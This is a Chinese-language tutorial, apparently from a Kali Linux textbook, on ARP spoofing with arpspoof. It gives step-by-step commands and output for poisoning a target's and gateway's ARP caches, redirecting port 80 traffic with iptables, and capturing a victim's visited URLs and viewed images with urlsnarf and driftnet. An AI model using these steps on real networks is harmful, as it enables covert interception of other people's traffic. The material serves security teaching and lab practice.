Kali-linux Arpspoof工具

Arpspoof是一个非常好的ARP欺骗的源代码程序。它的运行不会影响整个网络的通信，该工具通过替换传输中的数据从而达到对目标的欺骗。本节将介绍Arpspoof工具的 使用。

9.8.1 URL流量操纵攻击

URL流量操作非常类似于中间人攻击，通过目标主机将路由流量注入到因特网。该过程将通过ARP注入实现攻击。本小节将介绍使用Arpspoof工具实现URL流量操纵攻击。使用Arpspoof工具实现URL流量操作攻击。具体操作步骤如下所示：

（1）开启路由转发功能。执行命令如下所示：

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

执行以上命令后，没有任何信息输出。

（2）启动Arpspoof注入攻击目标系统。攻击的方法是攻击者（192.168.6.102）发送ARP数据包，以欺骗网关（192.168.6.1）和目标系统（192.168.6.101）。下面首先欺骗目标系统，执行命令如下所示：

root@kali:~# arpspoof -i eth0 -t 192.168.6.101 192.168.6.1
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

输出的信息显示了攻击者向目标主机192.168.6.102发送的数据包。其中50:e5:49:eb:46:8d表示攻击者的MAC地址；19:21:3f:c3:e5表示192.168.6.101的MAC地址。当以上过程攻击成功后，目标主机192.168.6.101给网关192.168.6.1发送数据时，都将发送到攻击者192.168.6.102上。

（3）使用Arpspoof注入攻击网关。执行命令如下所示：

root@kali:~# arpspoof -i eth0 -t 192.168.6.1 192.168.6.101
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d

以上输出信息显示了攻击者向网关192.168.6.1发送的数据包。当该攻击成功后，网关192.168.6.1发给目标系统192.168.6.101上的信息发送到攻击者主机192.168.6.102上。

（4）以上步骤都执行成功后，攻击者就相当于控制了网关与目标主机传输的数据。攻击者可以通过收到的数据，查看到目标系统上重要的信息。

为了验证以上的信息，下面举一个简单的例子。

【实例9-7】通过使用Wireshark抓包验证Arpspoof工具的攻击。具体操作步骤如下所示。

（1）启动Wireshark工具。在Kali Linux桌面依次选择“应用程序”|Kali Linux|Top 10 Security Tools|wireshark命令，将显示如图9.49所示的界面。

图9.49 Wireshark启动界面

（2）在该界面Start下面，选择要捕获的接口。这里选择eth0，然后单击Start按钮，将显示如图9.50所示的界面。

图9.50 抓包界面

（3）该界面可以对Wireshark进行相关设置及启动、停止和刷新数据包。

（4）在目标系统192.168.6.101上ping网关192.168.6.1。执行命令如下所示：

C:\Users\Administrator>ping 192.168.6.1

以上命令执行完后，到Kali下查看Wireshark抓取的数据包，如图9.51所示。

图9.51 捕获的数据包

（5）该界面显示了192.168.6.101与192.168.6.1之间数据传输的过程。其中传输整个过程的编号为28-33，28-30是一个请求数据包过程，31-33是目标响应数据包过程。下面详细分析捕获的数据包。

  • 28：表示192.168.6.101（源）向192.168.6.1（目标）发送ping请求。
  • 29：表示192.168.6.102将192.168.6.101的数据包进行转发。
  • 30：表示192.168.6.102将转发后的数据包，再向192.168.6.1发送请求。
  • 31：表示目标主机192.168.6.1响应192.168.6.101的请求。
  • 32：表示该响应被发送到192.168.6.102上，此时该主机转发到192.168.6.1。
  • 33：目标主机192.168.6.1将转发的数据发送给192.168.6.101上。

9.8.2 端口重定向攻击

端口重定向又叫端口转发或端口映射。端口重定向接收到一个端口数据包的过程（如80端口），并且重定向它的流量到不同的端口（如8080）。实现这类型攻击的好处就是可以无止境的，因为可以随着它重定向安全的端口到未加密端口，重定向流量到指定设备的一个特定端口上。本小节将介绍使用Arpspoof实现端口重定向攻击。使用Arpspoof实现端口重定向攻击。具体操作步骤如下所示。

（1）开启路由转发攻击。执行命令如下所示：

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

（2）启动Arpspoof工具注入流量到默认网络。例如，本例中的默认网关地址为192.168.6.1。执行命令如下所示：

root@kali:~# arpspoof -i eth0 192.168.6.1

在Kali Linux上执行以上命令后，没有任何输出信息。这是Kali 1.0.6上的一个bug，因为在该系统中dsniff软件包的版本是dsniff-2.4b1+debian-22。执行arpspoof命令不指定目标系统时，只有在dsniff软件包为dsniff-2.4b1+debian-21.1上才可正常运行。

（3）添加一条端口重定向的防火墙规则。执行命令如下所示：

root@kali:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

执行以上命令后，没有任何输出。

以上设置成功后，当用户向网关192.168.6.1的80端口发送请求时，将会被转发为8080端口发送到攻击者主机上。

9.8.3 捕获并监视无线网络数据

使用中间人攻击的方法，可以使Kali Linux操作系统处在目标主机和路由器之间。这样，用户就可以捕获来自目标主机的所有数据。本小节将介绍通过使用Arpspoof工具实施中间人攻击，进而捕获并监视无线网络数据。

（1）开启路由器转发功能。执行命令如下所示：

root@Kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

（2）使用Arpspoof命令攻击主机。执行命令如下所示：

root@kali:~# arpspoof -i eth0 -t 192.168.6.106 192.168.6.1
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:c:29:7a:59:75
......

执行以上命令表示告诉192.168.6.106（目标主机），网关的MAC地址是00:0c:29:7a:59:75（攻击主机）。当目标主机收到该消息时，将会修改ARP缓存表中对应的网关ARP条目。执行以上命令后，不会自动停止。如果不需要攻击时，按下Ctrl+C组合键停止攻击。

（3）查看目标主机访问URL地址的信息。执行命令如下所示：

root@kali:~# urlsnarf -i eth0
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]
192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET http://192.168\. 6.1:1900/igd.xml HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET http://192.168\. 6.1:1900/l3f.xml HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET http://192.168\. 6.1:1900/ifc.xml HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:33 +0800] "GET http://192.168\. 6.1:1900/ipc.xml HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "GET http://192.168\. 6.1:1900/igd.xml HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168\. 6.1:1900/ipc HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168\. 6.1:1900/ifc HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168\. 6.1:1900/ipc HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"
192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168\. 6.1:1900/ifc HTTP/1.1" - - "-" "Microsoft-Windows/6.1 UPnP/1.0"

以上输出的信息显示了目标主机访问互联网的信息。

（4）用户还可以使用Driftnet工具，捕获目标系统浏览过的图片。执行命令如下所示：

root@kali:~# driftnet -i eth0

执行以上命令后，将会打开一个窗口。当目标主机访问到网页中有图片时，将会在该窗口中显示。

（5）现在到目标主机上，访问互联网以产生捕获信息。例如，随便在目标主机上通过浏览器访问某个网页，攻击主机将显示如图9.52所示的界面。

图9.52 目标主机访问的图片

（6）该界面显示了目标主机上访问的所有图片。现在用户可以通过点击图9.52中的任何一张图片，该图片将被保存到Kali主机上。此时driftnet命令下，将会出现如下所示的信息：

root@kali:~# driftnet -i eth0
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d45c168e121f.png' as `driftnet-0.png'
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d45c168e121f.png' as `driftnet-1.png'
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d4ca5d888a08.jpeg' as `driftnet-2.jpeg'
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d4d92a6de806.png' as `driftnet-3.png'
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d4d92a6de806.png' as `driftnet-4.png'
driftnet: saving `/tmp/drifnet-YbOziq/driftnet-53c9d5351a9a9e69.png' as `driftnet-5.png'

从上面可以看到，保存了driftnet捕获到的7张图片。其文件名分别为driftnet-*.png，并且这些文件默认保存当前目录下。

（7）用户可以使用Linux自带的图像查看器查看，如图9.53所示。

图9.53 捕获的图片

（8）该界面显示的是第四张图片。用户可以通过单击“下一张”或“上一张”按钮，切换捕获到的图片。

搜集整理学习路线&笔记icon-default.png?t=N4P3https://mp.weixin.qq.com/s/KQx_eIwdjCj3QdErxKb7ZQ

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/25467.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

Sentinel的另外三种流控模式（附代码详细介绍）

Sentinel的另外三种流控模式（附代码详细介绍）

前言：大家好，我是小威，24届毕业生，在一家满意的公司实习。本篇文章将详细介绍Sentinel的其他三种流控模式，后续文章将详细介绍Sentinel的其他知识。 如果文章有什么需要改进的地方还请大佬不吝赐教👏&#…
阅读更多...
vue面试题汇总

vue面试题汇总

HTML篇CSS篇JS篇TypeScript篇前端面试题汇总大全（含答案超详细，HTML,JS,CSS汇总篇）-- 持续更新前端面试题汇总大全二（含答案超详细，Vue，TypeScript，React，Webpack 汇总篇&#xff09…
阅读更多...
04_Cenos安装Docker

04_Cenos安装Docker

docker安装文档： ubuntu：https://docs.docker.com/engine/install/ubuntu/ centos：https://docs.docker.com/engine/install/centos/ debian：https://docs.docker.com/engine/install/debian/ cenos安装Docker前提： 必…
阅读更多...
数据结构（C语言）：顺序循环队列的基本操作

数据结构（C语言）：顺序循环队列的基本操作

一、题目 设队列的元素类型为char，实现顺序循环队列的各种基本操作的程序： ① 初始化队列Q； ② 判断队列Q是否为空； ③ 入队操作。循环调用入队操作，将若干元素（不少于10个）入队&#xff1b…
阅读更多...
优化带排序的分页查询

优化带排序的分页查询

优化带排序的分页查询 浅分页： select user_no,user_name,socre from student order by score desc limit 5,20 深分页： select user_no,user_name,socre from student order by score desc limit 80000,20 因为偏移量深分页更大，所以深分页执…
阅读更多...
【软件】无联网情况下安装Win11 / 华为电脑更换Win11系统后触摸屏、声卡失效物理解决方案

【软件】无联网情况下安装Win11 / 华为电脑更换Win11系统后触摸屏、声卡失效物理解决方案

一、提前备份好电脑驱动（华为电脑更换Win11系统后触摸屏、声卡失效物理解决方案） 1.电脑驱动备份方法： 1）通过管理员身份打开命令提示符。 2）输入命令：dism /online /export-driver /destination:"D…
阅读更多...
聊聊Go语言的控制语句

聊聊Go语言的控制语句

在高级编程语言中，控制流语句(control-flow statement)是一类用于控制程序执行流程的语句，以下简称为控制语句。它们可以根据条件或循环执行相应的代码块，或者跳转到指定位置执行代码。 常见的控制语句包括： 条件语句：…
阅读更多...
10. python字典

10. python字典

文章目录 一、什么是字典二、访问键-值对三、添加、修改键-值对四、删除键-值对4.1 语句del4.2 方法pop() 五、创建空字典六、遍历字典6.1方法items()6.2方法keys()6.3方法values() 七、嵌套7.1 字典列表7.2 在字典中存储列表7.3 在字典中存储字典 一、什么是字典 #创建一个字…
阅读更多...
电商服务智能解决方案

电商服务智能解决方案

互联网时代，智能客服已成为电商企业客户服务、管理和运营的标配。面临大量客户咨询、订单流程等业务，传统人工客服工作时间有限、人员流动性大、人工成本持续上涨等，已经无法满足电商企业“数智化”转型的需求，这也促使AI成为电商…
阅读更多...
SpringSecurity入门

SpringSecurity入门

简介 官网地址：https://spring.io/projects/spring-security#overview Spring家族当中，一个安全管理框架 Shiro也是一个安全框架，提供了很多安全功能。Shiro比较老，旧的项目当中，可能还在使用。上手还挺简单 在新项…
阅读更多...
Zemax Lumerical | 二维光栅出瞳扩展系统优化

Zemax Lumerical | 二维光栅出瞳扩展系统优化

简介 本文提出并演示了一种以二维光栅耦出的光瞳扩展（EPE）系统优化和公差分析的仿真方法。 在这个工作流程中，我们将使用3个软件进行不同的工作 ，以实现优化系统的大目标。首先，我们使用 Lumerical 构建光栅模型并使用…
阅读更多...
(双指针 ) 18. 四数之和 ——【Leetcode每日一题】

(双指针 ) 18. 四数之和 ——【Leetcode每日一题】

❓18. 四数之和 难度：中等 给你一个由 n 个整数组成的数组 nums ，和一个目标值 target 。请你找出并返回满足下述全部条件且不重复的四元组 [nums[a], nums[b], nums[c], nums[d]] （若两个四元组元素一一对应，则认为两个四元组重…
阅读更多...
不愧是阿里，扣的真细。

不愧是阿里，扣的真细。

铜三铁四已经过去了，今天的行情虽然没有以前好，但是相比去年来说也算是好了一些了。有一些人已经在这个招聘季拿到了不错的Offer了。 今天给大家分享一份面经，今天这位朋友的背景是Java五年本，2023年前被毕业后投入了面试大军怀抱…
阅读更多...
融合改进Sine混沌映射的新型粒子群优化算法(NIPSO)-附代码

融合改进Sine混沌映射的新型粒子群优化算法(NIPSO)-附代码

融合改进Sine混沌映射的新型粒子群优化算法(NIPSO) 文章目录 融合改进Sine混沌映射的新型粒子群优化算法(NIPSO)1.粒子群优化算法2. 改进粒子群优化算法2.1 改进的 Sine 混沌映射2.2 粒子群改进 3.实验结果4.参考文献5.Matlab代码6.Python代码 摘要：为了应对传统粒子…
阅读更多...
OpenGl之摄像机

OpenGl之摄像机

文章目录 摄像机/观察空间摄像机位置摄像机方向右轴上轴 Look At自由移动移动速度鼠标输入缩放摄像机源码 OpenGL本身没有摄像机(Camera)的概念，但我们可以通过把场景中的所有物体往相反方向移动的方式来模拟出摄像机，产生一种我们在移动的感觉&#xff…
阅读更多...
第12届蓝桥杯Scratch省赛真题集锦

第12届蓝桥杯Scratch省赛真题集锦

编程题 第 1 题 问答题 下雨 题目说明 编程实现: 下雨。 具体要求: 1).点击绿旗，角色与背景如下图所示呈现在对应位置; 2).小猫说:“快下雨了，赶快回家”，小狗说:“我再玩一会”; 3).开始下雨，雨滴持续下落， 4).小猫躲在亭子里，雨滴在小猫和亭子后落下， 5).小狗在雨中…
阅读更多...
java-基础语法(二)

java-基础语法(二)

java-基础语法(二) 一、流程控制语句 1.1 流程控制语句分类 顺序结构 分支结构(if, switch) 循环 结构(for, while, do…while) 1.2 顺序结构 顺序结构执行流程图： 1.3 分支结构之if语句 if语句格式1 格式：if (关系表达式) {语句体; }执行流程&…
阅读更多...
【Jenkins+Ant+Jmeter】持续集成接口测试平台搭建

【Jenkins+Ant+Jmeter】持续集成接口测试平台搭建

一、环境准备： 1、JDK：Java Downloads | Oracle 2、Jmeter：Apache JMeter - Download Apache JMeter 3、Ant：Apache Ant - Binary Distributions 4、Jenkins：Jenkins 二、Jemter脚本准备： 1、脚本目录&a…
阅读更多...
云服务器和专用服务器之间的区别

云服务器和专用服务器之间的区别

在当今数字化时代，服务器是构建和支持各种应用和服务的基础设施之一。随着技术的发展和需求的增加，出现了不同类型的服务器，其中最常见的是云服务器和专用服务器。本文将详细介绍云服务器和专用服务器之间的区别，以帮助您更好地了…
阅读更多...
多线程安全的案例展示与解决方案

多线程安全的案例展示与解决方案

一、概念 1. 什么是线程安全 当多个线程访问一个对象时，如果不用考虑这些线程在运行时环境下的调度和交替执行，也不需要进行额外的同步，或者在调用方进行任何其他的协调操作，调用这个对象的行为都可以获得正确的结果&#xff0c…
阅读更多...
最新文章

Copyright @ 2022~2023